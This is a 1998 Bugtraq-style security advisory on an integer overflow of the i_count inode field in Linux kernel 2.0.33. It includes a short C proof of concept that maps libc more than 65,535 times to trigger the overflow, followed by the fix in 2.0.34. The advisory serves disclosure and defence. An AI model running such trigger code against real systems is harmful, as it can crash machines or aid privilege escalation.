Linux i_count Overflow Vulnerability

Bugtraq ID:	388
Class:	Design Error
CVE:
Remote:	No
Local:	Yes
Published:	Jan 14 1998 12:00AM
Updated:	Jan 14 1998 12:00AM
Credit:	First posted to BugTraq by Aleph One <[email protected]> for Jan Kotas <[email protected]> on Jan 14, 1998. Followup by Alan Cox <[email protected]> posted to BugTraq on Jan 14, 1998.
Vulnerable:	Linux kernel 2.0.33 Linux kernel 2.0
Not Vulnerable:	Linux kernel 2.2 Linux kernel 2.0.34

Linux i_count Overflow Vulnerability

The i_count member in the Linux inode structure is an unsigned short integer. It can be overflowed by mapping a single file too many times, allowing for a local user to possibly gain root access on the target machine or cause a denial of service.

Linux i_count Overflow Vulnerability

Below is a short example of how this vulnerability can be exploited:

#include <unistd.h> #include <fcntl.h>

#include <sys/mman.h>

void main()

{

int fd, i;

fd = open("/lib/libc.so.5", O_RDONLY);

for(i = 0; i < 65540; i++)

{

mmap((char*)0x50000000 + (0x1000 * i), 0x1000,

PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0);

}

}

Linux i_count Overflow Vulnerability

Solution:
This problem was fixed in Linux kernel release 2.0.34.

An immediate way to solve the problem is to change the data type of i_count from an unsigned short integer to an unsigned long.

Linux i_count Overflow Vulnerability

References: